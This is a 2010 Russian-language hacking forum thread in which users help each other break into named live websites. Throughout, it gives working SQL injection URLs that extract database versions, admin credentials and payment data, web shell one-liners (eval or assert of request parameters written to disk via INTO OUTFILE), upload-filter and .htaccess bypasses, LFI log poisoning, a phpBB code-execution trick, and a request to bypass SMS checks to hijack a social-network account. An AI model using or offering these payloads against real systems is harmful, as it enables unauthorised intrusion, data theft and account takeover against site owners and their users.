он мне просто ошибку выдает...

Gorev
30.04.2010, 22:41
GOGA075
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:assert(stripslashes($_REQUEST[cmd]));' WHERE user_id=2;

then blablablabla......editprofile&cmd=phpinfo();

Konqi
30.04.2010, 22:41
Konqi проверь если не пустая табла
union+select+1,2,count(*),4+from+users

count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='users'
и если табла в нужной базe
union+select+1,2,pass,4+from+database_name.users
hex(unhex())
aes_encrypt....
GOGA075
concat обьеденяет запросы..причем тут конкатирование?

count(*) выдает 4

[Feldmarschall]
30.04.2010, 22:45
count(*) выдает 4

узнай в какой базе таблица users... потом from+*base*.users

Konqi
30.04.2010, 22:48
[Feldmarschall]

с базой нет проблем, так и делаю

а unhex(hex()) и aes_decrypt(aes_encrypt не помогли

GOGA075
30.04.2010, 23:33
Реально отключить обработку картинки из админки в phpBB??

[Feldmarschall]
01.05.2010, 00:17
[Feldmarschall]
с базой нет проблем, так и делаю
а unhex(hex()) и aes_decrypt(aes_encrypt не помогли
кароче там много баз.. и почти в каждой есть users..
первая запись (limit+0,1) пуста 1,1 все идет.. линк скинул в пм есле что..
вот так допустим можешь действовать на остальных Датабазах
+union+select+group_concat(column_name),2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 +from+information_schema.columns Where table_schema=0x63775F3631303334 AND table_name=0x77705F30317573657273--
+union+select+group_concat(column_name),2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 +from+information_schema.columns Where table_schema=0x63775F36313033345F636F756E74696573 AND table_name=0x77705F7573657273--

Konqi
01.05.2010, 00:32
[Feldmarschall]

интересно, даже очень ))

спасибо !!

YuNi|[c
01.05.2010, 12:22
есть доступ к консоли машины через скул. Вопрос можно ли открыть там порт для рдп? Я создал учетку но коннект нету вообше.

GOGA075
01.05.2010, 19:18
Устанавливаю в joomla мод com_joomlaxplorer_1.6.3
А он мне выдает ошибку "Внимание! - Не удалось переместить файл"
что тут не так?

Ctacok
01.05.2010, 19:19
Устанавливаю в joomla мод com_joomlaxplorer_1.6.3
А он мне выдает ошибку "Внимание! - Не удалось переместить файл"
что тут не так?
Права

// Здесь был Кэп

GOGA075
01.05.2010, 19:24
А какие именно права?

Ctacok
01.05.2010, 19:26
На запись (Chmod )=\
// кэп где то рядом

GOGA075
01.05.2010, 19:31
А какие ещо есть способы залить шел?

Ctacok
01.05.2010, 19:42
Тэмплэйты редактировать, там обычно PHP код, языки (х.з. кто-то ляпнул где-то, сам не проверял), Xplorer, и смотри чо там по компонентам есть.

GOGA075
01.05.2010, 20:29
Ctacok, php нигде не потдерживаеться, просто как текст обычный выводиться...

Ctacok
01.05.2010, 20:31
Edit HTML =\

// кэп не пролетал?

oko
02.05.2010, 03:03
Народ подскажите можно как нибудь обойти htacces, суть в том что шелл залит на сайт DLE даже вычисленна прямая ссылка http://site.ru/category/m.y/d/shell.php но вот там стоит редирект и он выдает ложную страницу что типо файл отсуствует или 403 ошибка.. можно как то обойти?

ILYAtirtir
02.05.2010, 03:37
Как залил шелл так же залей свою htaccess :)

попугай
02.05.2010, 10:52
... на сайт DLE даже вычисленна прямая ссылка http://site.ru/category/m.y/d/shell.php ...

на прямую совсем не похожа

oko
02.05.2010, 11:07
Как залил шелл так же залей свою htaccess :)

залила

на прямую совсем не похожа

ну ссылка как бы через субдомен т.е site.site/*****/shel.php
а вариант с htacces не получается, нашла дырку на сайте был написан самописный скрипт с 3 кнопками обзор и не одна не проверяется на тип файла грузит все подрят, да и сайт не хилый 150 к посещений в день ТИЦ 900 и т д... вот хотелось бы вычислить куда все это заливается... может есть способы? по другим файлам если смотреть то заливаются на субдомен но если так же сгенерировать свою ссылку в No Fold при чем не настоящая страница

a1ertso
02.05.2010, 11:25
Вопрос по LFI.
Какие есть пути к логам и где их можно посмотреть?
Вот путь /proc/self/environ, через него я выполнил пхп команду, а где можно посмотреть под разные сервера?

DrakonHaSh
02.05.2010, 12:39
a1ertso
http://forum.antichat.ru/thread49775.html

FlaktW
02.05.2010, 13:48
Делаю запрос к БД:

index.php?id=-157+union+select+concat_ws(0x3a,payment_method_id,
vendor_id,
payment_method_name,
payment_class,
shopper_group_id,
payment_method_discount,
payment_method_discount_is_percent,
payment_method_discount_max_amount,
payment_method_discount_min_amount,
list_order,
payment_method_code,
enable_processor,
is_creditcard,
payment_enabled,
accepted_creditcards,
payment_extrainfo,
payment_passkey),2,3,4+from+jos_vm_payment_method

Выводится следующая ошибка:

4:1:PayPal:ps_paypal:5:0.00:0:0.00:0.00:0:PP:P:0:Y ::country."' ORDER BY country_2_code ASC"; $db1->query($q); $url = "https://www.paypal.com/cgi-bin/webscr"; $tax_total = $db->f("order_tax") + $db->f("order_shipping_tax"); $discount_total = $db->f("coupon_discount") + $db->f("order_discount"); $post_variables = Array( "cmd" => "_ext-enter", "redirect_cmd" => "_xclick", "upload" => "1", "business" => PAYPAL_EMAIL, "receiver_email" => PAYPAL_EMAIL, "item_name" => $VM_LANG->_('PHPSHOP_ORDER_PRINT_PO_NUMBER').": ". $db->f("order_id"), "order_id" => $db->f("order_id"), "invoice" => $db->f("order_number"), "amount" => round( $db->f("order_subtotal")+$tax_total-$discount_total, 2), "shipping" => sprintf("%.2f", $db->f("order_shipping")), "currency_code" => $_SESSION['vendor_currency'], "address_override" => "1", "first_name" => $dbbt->f('first_name'), "last_name" => $dbbt->f('last_name'), "address1" => $dbbt->f('address_1'), "address2" => $dbbt->f('address_2'), "zip" => $dbbt->f('zip'), "city" => $dbbt->f('city'), "state" => $dbbt->f('state'), "country" => $db1->f('country_2_code'), "email" => $dbbt->f('user_email'), "night_phone_b" => $dbbt->f('phone_1'), "cpp_header_image" => $vendor_image_url, "return" => SECUREURL ."index.php?option=com_virtuemart&page=checkout.result&order_id=".$db->f("order_id"), "notify_url" => SECUREURL ."administrator/components/com_virtuemart/notify.php", "cancel_return" => SECUREURL ."index.php", "undefined_quantity" => "0", "test_ipn" => PAYPAL_DEBUG, "pal" => "NRUBJXESJTY24", "no_shipping" => "1", "no_note" => "1" ); if( $page == "checkout.thankyou" ) { $query_string = "?"; foreach( $post_variables as $name => $value ) { $query_string .= $name. "=" . urlencode($value) ."&"; } vmRedirect( $url . $query_string ); } else { echo '
'; echo ''; foreach( $post_variables as $name => $value ) { echo ''; } echo '
'; } ?>:

Доступа к админке нет.

Это можно как-то раскрутить?

pinch
02.05.2010, 14:29
4:1:PayPals_paypal:5:0.00:0:0.00:0.00:0:PP:P:0:Y ::country

а это что?

FlaktW
02.05.2010, 15:16
4:1:PayPals_paypal:5:0.00:0:0.00:0.00:0:PP:P:0:Y ::country

а это что?


http://ethanol.li/techtab.php?id=-157+union+select+concat_ws(0x3a,payment_method_id,
vendor_id,
payment_method_name,
payment_class,
shopper_group_id,
payment_method_discount,
payment_method_discount_is_percent,
payment_method_discount_max_amount,
payment_method_discount_min_amount,
list_order,
payment_method_code,
enable_processor,
is_creditcard,
payment_enabled,
accepted_creditcards,
payment_extrainfo,
payment_passkey),2,3,4+from+ilseboc_joom.jos_vm_pa yment_method+limit+3,1+--+&uri=/products.php?id=157&lang=fr

pinch
02.05.2010, 15:21
я не понимаю... что те именно раскрутить? кажется ты уже все раскрутил

Error0980
02.05.2010, 20:21
Здравствуйте!
Добыл мыло и хотел бы выслать на него пароль от "вконтакте" но не так все просто как казалось бы, от меня соц. сеть требует ввести номер телефона введенного при регестрации пользователем "вконтакте" и получит на этот номер код для смены пароля.
Вопрос:как можно обойти смс и выслать пароль на почту?
Взарание спс...

daniel_1024
02.05.2010, 22:29
при заливке шелла в админке вот что мне вылетело:

Warning: imagesx(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagesy(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagecopyresampled(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 122

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 123

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 125

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 126

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 128


шелл не загрузился. есть ли какой-нибудь способ обхитрить php в это случае ?

попугай
02.05.2010, 23:26
при заливке шелла в админке вот что мне вылетело:

Warning: imagesx(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagesy(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagecopyresampled(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 122

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 123

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 125

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 126

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 128


шелл не загрузился. есть ли какой-нибудь способ обхитрить php в это случае ?

во-первых, загрузить корректный jpg(png,bmp,gif по вкусу) с кодом php-шелла - если расширение .php не меняется, ты смог это обойти или другой способ... то будет шелл.
во-вторых, судя по ошибкам - там картинки пережимаются скриптом, так что все пхп-теги и код будет утерян. Шелла не видать тебе.

b82a
02.05.2010, 23:27
при заливке шелла в админке вот что мне вылетело:

Warning: imagesx(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagesy(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: imagecopyresampled(): supplied argument is not a valid Image resource in /admin/kategorie.php on line 253

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 122

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 123

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 125

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 126

Warning: Cannot modify header information - headers already sent by (output started at /admin/kategorie.php:253) in /admin/config.inc.php on line 128


шелл не загрузился. есть ли какой-нибудь способ обхитрить php в это случае ?

Оно как бе пытается ресайзнуть картинку, но не получается, shell.php.jpg пробовал?

Rabben
02.05.2010, 23:43
делаю запрос:
http://test.ru/news.php?s=news_date%20DESC&v=0&newscat_id=-1+UNION%20SELECT%20concat(username,0x3a,password), 2,3+from+admins

ответ:
Error: Illegal mix of collations for operation 'UNION'
File: /var/www/test.ru/htdocs/news.php
Line: 69
Query: SELECT newscat_id, newscat_title, newscat_dependency FROM newscats WHERE newscat_id=-1 UNION SELECT concat(username,0x3a,password),2,3 from admins LIMIT 1

Как я понимаю, это из-за кодировки. Как подправить запрос? Кодировка utf8

попугай
03.05.2010, 00:23
Unhex(hex(version()))

LokbatanLi
03.05.2010, 09:31
http://www.omega-pharma.be/EN/onafh_content.php?id=5

vot pomoqite nayti version() ili user() ?

warlok
03.05.2010, 10:00
http://www.omega-pharma.be/EN/onafh_content.php?id=5+and+substring(version(),1,1 )=4
или через ошибку попробуй

v1d0qz
03.05.2010, 14:35
http://www.omega-pharma.be/EN/onafh_content.php?id=5

vot pomoqite nayti version() ili user() ?
http://www.omega-pharma.be/EN/onafh_content.php?id=(4)or(1,1)=(select(count(0)), concat((version()),floor(rand(0)*2))from(login)GRO UP BY 2)

Duplicate entry '4.1.21-standard1' for key 1

pinch
03.05.2010, 18:19
http://www.retention.se/news.asp?id=1'&pg=1

вот никак не могу раскрутить инъекцию. Максимум что удалось:
1) узнать количество полей
2) и добыть информацию с последней талблицы в бд с помощью "having"

ни версии, ни имени бд, пользователя никак. В чем может быть проблема?

LokbatanLi
03.05.2010, 18:22
spasibo..

a kak table_name i t.d ?

pinch
03.05.2010, 18:24
тож не выводит. Выводит только то что и при запросе

http://www.retention.se/news.asp?id=1&pg=1

без всяких там ошибок и т.д.

Pashkela
03.05.2010, 18:36
http://www.retention.se/news.asp?id=1'&pg=1

вот никак не могу раскрутить инъекцию. Максимум что удалось:
1) узнать количество полей
2) и добыть информацию с последней талблицы в бд с помощью "having"

ни версии, ни имени бд, пользователя никак. В чем может быть проблема?


http://www.retention.se/news.asp?id=1+or+1=convert(int,@@version)&pg=1

System information:
-----------------------------------------
system_user: retenti_groupse
@@version: Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
Nov 24 2008 13:01:59
Copyright (c) 1988-2005 Microsoft Corporation
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

db_name(): retenti_se


select фильтруется, думай

kfor
03.05.2010, 19:13
Подскажите как передать гет запрос с <? system.... ?> , что бы в логах скобочки не заменились на %3c %3e

shell_c0de
03.05.2010, 19:23
Подскажите как передать гет запрос с <? system.... ?> , что бы в логах скобочки не заменились на %3c %3e
<?php file_get_contents('http://site.ru/<?php eval(stripslashes($_REQUEST[cmd]));?>');?>

IMMORTAL_S
03.05.2010, 21:34
Всем привет! наткнулся на такую ошибку...
Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 42 in /home/site/public_html/php/config/functions.php on line 931
Урл вида: http://.sita.net/index.php?id=11&new=-6
Можно ли провести инъекцию :confused:

Jokester
03.05.2010, 21:34
pinch
http://www.retention.se/news.asp?id=1+and+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES)&pg=1

и далее по сценарию

======================

Pashkela
Опять у тебя ненужные навороты. Они запутывают людей
Зачем
http://www.retention.se/news.asp?id=1+or+1=convert(int,@@version)&pg=1
Если
http://www.retention.se/news.asp?id=1+or+1=@@version&pg=1

pinch
03.05.2010, 22:11
спасибо. оказывается фильтры на: select, or, OR, --
а я из мухи слона делаю

[ DSU ]
03.05.2010, 23:39
Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.

wildshaman
03.05.2010, 23:41
Может, потому что там file_get_contents, а не инклуд?

[ DSU ]
03.05.2010, 23:49
Бгг да точно) но как бы он его как-то залил... логика значит надо залить с другим расширением ато да читалка)

GOGA075
03.05.2010, 23:52
Такая ситуация:
Есть PhpMyAdin права полный Root
Делаю запрос вида
select '<? @include("http://site.ru/files/shell.txt"); ?>' into outfile 'D:/WWW/files/shell.php';
Создаеться файл .php, но когда захожу на него, там пустой белый лист!!!

А когда делаю запрос
select '<? phpinfo(); ?>' into outfile 'D:/WWW/files/info.php';
выводиться полный phpinfo!!

что может быть не так?

[ DSU ]
04.05.2010, 00:01
попробуй залить include($_GET[file]) ...

BrainDeaD
04.05.2010, 00:13
я извиняюсь, мой пост затерялся, поетому спрошу ещё раз.

']Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.
с php вобще ничего не показывает.
Может, потому что там file_get_contents, а не инклуд?
возможно. как в этом случае можно глянуть какая функция используется.

.:[melkiy]:.
04.05.2010, 00:23
Такая ситуация:
Есть PhpMyAdin права полный Root
Делаю запрос вида
select '<? @include("http://site.ru/files/shell.txt"); ?>' into outfile 'D:/WWW/files/shell.php';
Создаеться файл .php, но когда захожу на него, там пустой белый лист!!!

А когда делаю запрос
select '<? phpinfo(); ?>' into outfile 'D:/WWW/files/info.php';
выводиться полный phpinfo!!

что может быть не так?


allow_url_include off скорее всего

GOGA075
04.05.2010, 00:24
.:[melkiy]:.
Я с табой соглашусь!

']попробуй залить include($_GET[file]) ...

А по подробнее можно. А то я раньше таким не рользовался!

попугай
04.05.2010, 04:47
.:[melkiy]:.
Я с табой соглашусь!



А по подробнее можно. А то я раньше таким не рользовался!


лучше eval($_GET['shell']);


я извиняюсь, мой пост затерялся, поетому спрошу ещё раз.


с php вобще ничего не показывает.

возможно. как в этом случае можно глянуть какая функция используется.


там не инклюд, а читалка

S00pY
04.05.2010, 04:59
залить скрипт аплоада и через него лить уже обычный шелл

ЗЫ:Не трезв...

GOGA075
04.05.2010, 07:25
попугай, eval($_GET['shell']); тоже ничего не дал. Ошибки только выдает! типа
Parse error: syntax error, unexpected '<' in D:\WWW\files\files.php(1) : assert code(1) : eval()'d code on line 1

Twoster
04.05.2010, 08:29
попугай, eval($_GET['shell']); тоже ничего не дал. Ошибки только выдает! типа
Parse error: syntax error, unexpected '<' in D:\WWW\files\files.php(1) : assert code(1) : eval()'d code on line 1


select '<? eval(stripslashes($_REQUEST[\'var\'])); ?>' into outfile 'D:/WWW/files/shell.php';

Потом http://site.com/files/shell.php?var=phpinfo();

kfor
04.05.2010, 09:23
<?php file_get_contents('http://site.ru/<?php eval(stripslashes($_REQUEST[cmd]));?>');?>

Спасибо большое. Но чё то или я туплю или даже хз, но в логах ngnix , но в логах чё то не появляется мой запрос :(

mailbrush
04.05.2010, 12:09
http://www.meningrey.net/%5c/
Что это за уязвимость такая? Где об этом можно почитать?

LokbatanLi
04.05.2010, 12:41
есть шелл с парольом..
как моjно наыти пароль ?
и пароль изменилось не стандартниы..
напримерь в wso парол root а здес что то друqое ..
как наыти ??

попугай
04.05.2010, 13:52
http://www.meningrey.net/%5c/
Что это за уязвимость такая? Где об этом можно почитать?


читалка обычная походу.. и mod_rewrite обычный

GOGA075
04.05.2010, 17:29
Потом http://site.com/files/shell.php?var=phpinfo();

Да phpinfo то выводит без проблем!!
П ричем var не работает, только cmd!

И что ещо можно сделать через команду cmd ??

daniel_1024
04.05.2010, 20:39
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов

Konqi
04.05.2010, 20:44
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов

ммм.. а как скрипт будет различать опасные файлы по твоему?

он же работает на стороне клиента..исходники ему не видны :rolleyes:

Redwood
04.05.2010, 21:07
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов

http://slil.ru/29081007 вот, если я правильно понял. Ищит залитые шеллы на сторонних сайтах по их имени (r57.php,c99.php,c100.php и тд).

Если на своем сервере нужно найти модифицированные файлы или шеллы, то вот http://slil.ru/29081093

oko
05.05.2010, 12:57
Подскажите дальнейшие действия, есть доступ к phpinfo.php там естесвенно подробная инфа и пути к сайту что дальше делать? может ссылку на какую нибудь статью или еще что то... проверка всего сайта не sql , php иньекций и не Xss не вывело

gromoza
05.05.2010, 13:08
Подскажите дальнейшие действия, есть доступ к phpinfo.php там естесвенно подробная инфа и пути к сайту что дальше делать? может ссылку на какую нибудь статью или еще что то... проверка всего сайта не sql , php иньекций и не Xss не вывело
простое phpinfo тебе ничего особо полезного не даст.

Jerri
05.05.2010, 16:00
Не смог раскрутить. Кто что скажет?
chatmovil.terra.es/index.php?section=channel_list&viewing_category_type=1

Pashkela
05.05.2010, 16:03
http://chatmovil.terra.es/index.php?section=channel_list&viewing_category_type=1+and+(select+1+from+(select +count(0),concat((select+version()),floor(rand(0)* 2))+from+information_schema.tables+group+by+2)a)--+

durito
05.05.2010, 18:41
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36

b82a
05.05.2010, 19:09
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36

Это MSSQL, скорее всего фильтруется, потому что при 1 or 1=@@version-- просто становится недоступен сайт

durito
05.05.2010, 19:25
b82a комментарий если убрать, то доступен, вылетает ошибка

pinch
05.05.2010, 19:56
значит фильтруется --

pinch
05.05.2010, 20:03
попробуй:
#
%-%-
%2D%2D

Mysterious
05.05.2010, 21:08
del

FlaktW
05.05.2010, 21:31
http://www.human-solutions.com/company/news_press_report_en.php?id=-195+union+select+1,2,3,4,concat_ws(0x3a,version(), database(),user(),@@version_compile_os),6,7,8,9+--+

file_priv:Y

Не могу найти админку, phpmyadmin или ftp.
Не могу прочитать файлы чтобы найти путь куда залить shell.

Что можете посоветовать?

pinch
05.05.2010, 23:14
подскажите плиз по скуле. в общем подобрал все нужное и колво столбцов и имя таблицы. делаю запрос на несуществующее поле - вылетает ошибка (как положено) Ввожу запрос правильный (через скулю) он не выводит информацию из БД а тупо отображает то что было если бы я не вставлял скулю. ' UNION SELECT 1, login FROM billing_users LIMIT 0,1 -- выдает страницу без изменений ' UNION SELECT 1, login1 FROM billing_users LIMIT 0,1 -- A Database Error Occurred Error Number: 1054 Unknown column 'login1' in 'field list' SELECT login, email FROM billing_users WHERE login = '' UNION SELECT 1, login1 FROM billing_users LIMIT 0,1 -- ' OR email = '' То есть запрос вроде верный в 1ом случае а он ничего не выводит, ни на страницу, не в исходнике =( Это я так понимаю Blind SQL Injection и тут методом перебора только ? или как?

нет не блинд....
причины:
1)таблица находится в другой базе
2)таблица пустая
3)проблемы с кодировками

решение:
1)придется смириться
2)для mysql4
' UNION SELECT 1, count(*) FROM billing_users--
для mysql5
' UNION SELECT 1, table_rows FROM information_schema.tables where table_name= 'billing_users'--
если вывело 0 значит таблица пустая
3)' UNION SELECT 1, unhex(hex(login)) FROM billing_users LIMIT 0,1 --
' UNION SELECT 1, aes_decrypt(aes_encrypt(login,12),12) FROM billing_users LIMIT 0,1 --

pinch
05.05.2010, 23:16
http://www.human-solutions.com/company/news_press_report_en.php?id=-195+union+select+1,2,3,4,concat_ws(0x3a,version(), database(),user(),@@version_compile_os),6,7,8,9+--+ file_priv:Y Не могу найти админку, phpmyadmin или ftp. Не могу прочитать файлы чтобы найти путь куда залить shell. Что можете посоветовать?

можно с BENCHMARK поколдовать чтоб вывело полный путь

diehard
05.05.2010, 23:26
http://www.human-solutions.com/company/news_press_report_en.php?id=-195+union+select+1,2,3,4,concat_ws(0x3a,version(), database(),user(),@@version_compile_os),6,7,8,9+--+

file_priv:Y

Не могу найти админку, phpmyadmin или ftp.
Не могу прочитать файлы чтобы найти путь куда залить shell.

Что можете посоветовать?
нету у тебя там файл_прива, дядя

http://www.human-solutions.com/company/news_press_report_en.php?id=-195+union+select+1,2,3,4,concat_ws(':',user(),user ,file_priv),6,7,8,9 from mysql.user where user='tecmath'--+
tecmath@localhost:tecmath:N

EoGeneo
06.05.2010, 06:34
Здравствуйте всем!
Sql-inj начал заниматься недавно, всё очень хорошо получается, но возник вопрос есть ли софт, который может помочь сдампипть базу через inj?

mr.celt
06.05.2010, 09:36
Тебе под MySql или MSSql?

EoGeneo
06.05.2010, 09:58
Тебе под MySql или MSSql?

Расскажи про ту и ту базу если не сложно.

mr.celt
06.05.2010, 10:19
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36

При твоем запросе вылетает ошибка "Microsoft VBScript runtime error '800a000d' ". Это означает, что используется Microsoft Jet Database Engine и запросы передается на очень низком уровне, на которые вряд ли получится повлиять.

Для EoGeneo:
https://forum.antichat.ru/showpost.php?p=236188&postcount=3 - автоматический частичный\полный дампинг БД (mssql, mysql-5.*)
и тут еще
https://forum.antichat.ru/thread148915.html как одни из многих функций есть и дампинг

scorpic393
06.05.2010, 10:43
Подскажите плиз, делаю всё как тут http://bug-track.ru/showpost.php?p=49&postcount=1

т.е. имеется аплоадер файлов, + phpinfo()

upload php запрещён. но я могу заливать любые другие файлы
и .htaccess, я вставил туда AddType application/x-httpd-php .html .gif

но сервер не выполняет как php, а отдаёт файл на закачку. ещё в phpinfo сказано что php подключен как CGI, может поэтому не раб? тода подсажите плиз как в CGI PHP подрубить другие расширрнеия с помощью .htaccess

Iceangel_
06.05.2010, 11:25
но сервер не выполняет как php, а отдаёт файл на закачку.
скорей всего, причиной является хтацесс с php_flag engine off

scorpic393
06.05.2010, 11:43
скорей всего, причиной является хтацесс с php_flag engine off

спс, может быть. ша поишу инклудов в двиге, токо трабла в том как слить сайт полность (скрипты)

подскажите плиз шелл или скрипт чтобы слить скрипты с сайта, wso2.4 не пакует в архив ((

ReckouNT
06.05.2010, 11:44
Нужно поломать сайт с аунтификацией такого вида а-ля alert (JS). На вид подумал что сама аунтификация довольно старая, и возможно есть уязвимости.

Пикча формы, на фоне - страница, открывающаяся после неуспешного входа (адреса счел нужным скрыть)
http://s58.radikal.ru/i160/1005/34/9cb26e6c3bc2.png

Такая штука отображается при доступе к фаилу http://site/admin.php. На пхп фаил не похоже, судя по форме неудачи, прописано где то в апаче.

brutus-aet2 ом прогонять пробовал, выдает бред при разных настройках. По словарю он выдает каждый раз новые пароли, по подбору - тоже.

Спасибо.

ЗЫ: Поиск юзал. Просьба постить только по теме.
ЗЗЫ: Если запостил тему не в том разделе, просьба переместить и отправить ссылку в ЛС.
ЗЗЗЫ: Ломаю не ради интереса и не ради того, чтобы "нагадить".

Strilo4ka
06.05.2010, 11:46
Пишу в .htaccess
RemoveHandler .php, и все равно выполняеться код пхп! Как решить?

Hero1n
06.05.2010, 12:00
Нужно поломать сайт с аунтификацией такого вида а-ля alert (JS). На вид подумал что сама аунтификация довольно старая, и возможно есть уязвимости.

Пикча формы, на фоне - страница, открывающаяся после неуспешного входа (адреса счел нужным скрыть)
http://s58.radikal.ru/i160/1005/34/9cb26e6c3bc2.png

Такая штука отображается при доступе к фаилу http://site/admin.php. На пхп фаил не похоже, судя по форме неудачи, прописано где то в апаче.

brutus-aet2 ом прогонять пробовал, выдает бред при разных настройках. По словарю он выдает каждый раз новые пароли, по подбору - тоже.

Спасибо.

ЗЫ: Поиск юзал. Просьба постить только по теме.
ЗЗЫ: Если запостил тему не в том разделе, просьба переместить и отправить ссылку в ЛС.
ЗЗЗЫ: Ломаю не ради интереса и не ради того, чтобы "нагадить".


мдаааа, ты уже топик вроде создавал, и тебе там совершенно ясно ответили, зачем здесь пишешь?!
http://en.wikipedia.org/wiki/Basic_access_authentication
alert() тут не причём, это не javascript.

krypt3r
06.05.2010, 12:04
Пишу в .htaccess
, и все равно выполняеться код пхп! Как решить?
А в комбинации с RemoveType?

mr.celt
06.05.2010, 12:12
upload php запрещён. но я могу заливать любые другие файлы
и .htaccess, я вставил туда AddType application/x-httpd-php .html .gif



Попробуй так:

RemoveType .html .gif
AddType application/x-httpd-php .html .gif

Strilo4ka
06.05.2010, 12:19
А в комбинации с RemoveType?
я тебя люблю) бес комбинации работает, то что надо! ;)

Ctacok
06.05.2010, 12:31
спс, может быть. ша поишу инклудов в двиге, токо трабла в том как слить сайт полность (скрипты)

подскажите плиз шелл или скрипт чтобы слить скрипты с сайта, wso2.4 не пакует в архив ((
pclzip.lib.php

v1d0qz
06.05.2010, 13:06
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36

Это MSSQL, скорее всего фильтруется, потому что при 1 or 1=@@version-- просто становится недоступен сайт

b82a комментарий если убрать, то доступен, вылетает ошибка

значит фильтруется --
попробуй:
#
%-%-
%2D%2D

Вставлю свои 5 копеек...

http://www.freeukdatingsite.com/imagePop.asp?Item=@@version
http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+union+select+null,@@v ersion,null,null,null,null,null,null,null,null,nul l,null,null,null,null,null,null,null,null,null,nul l,null,null,null,null,null,null,null,null,null,nul l,null,null,null,null,null

Напридумывали каких-то фильтров)

зы. Может я слишком плоско мыслью, но я не понимаю, зачем писать попробуй то..сё, если человек отписал с урл...

burn90
06.05.2010, 14:51
Имею доступ к phpmyadmin. На сервер установлен форум phpbb, можно ли как то управлять коталогом / из под рут

kfor
06.05.2010, 15:13
Имею доступ к phpmyadmin. На сервер установлен форум phpbb, можно ли как то управлять коталогом / из под рут

Попробуй залить шелл через пхп май админ если есть разрешение на into outfile

Zilt0
06.05.2010, 15:57
Всем привет!
Интересует вопрос, какие способы есть в шаред хостингах для просмотра каталога(или файла), других пользователей
например:
/home/andrei/public_html/
/home/irina/public_html/
бывает часто что я не имею права на просмотр каталога и все то что внутри,

budden
06.05.2010, 16:23
Попробуй залить шелл через пхп май админ если есть разрешение на into outfile
Намного лучше, залогинившись админом на форуме (расшифровав его хэш или временно изменив на свой), залить шелл через phpbb (в ветке по ней есть точное описание, если нужно).

mr.celt
06.05.2010, 17:10
Всем привет!
Интересует вопрос, какие способы есть в шаред хостингах для просмотра каталога(или файла), других пользователей
например:
/home/andrei/public_html/
/home/irina/public_html/
бывает часто что я не имею права на просмотр каталога и все то что внутри,
Я так понял, что ты тоже зареган на подобном серваке и можешь работать токо в своей директории. Наверно и консолька есть...
Просмотр директорий других юзеров ты можешь добиться:
1) повышением прав на этом серваке, если найдешь соответствующий эксплоит под данную систему;
2) т.к. это web-хостинг, то можно попытаться взломать сайты хостящиеся здесь же;
3) если есть подключения к бд, то проверить возможность чтения файлов через load_file.

пока больше на ум ничего не приходит

Konqi
06.05.2010, 18:37
ребят делаю запрос

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME='tbl_group_admin')--

результат

Ligne 1 : syntaxe incorrecte vers ')'.

делаю

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=CHAR(116,98,108,95,103,11 4,111,117,112,95,97,100,109,105,110))--

результат

a fonction char requiert 1 arguments.

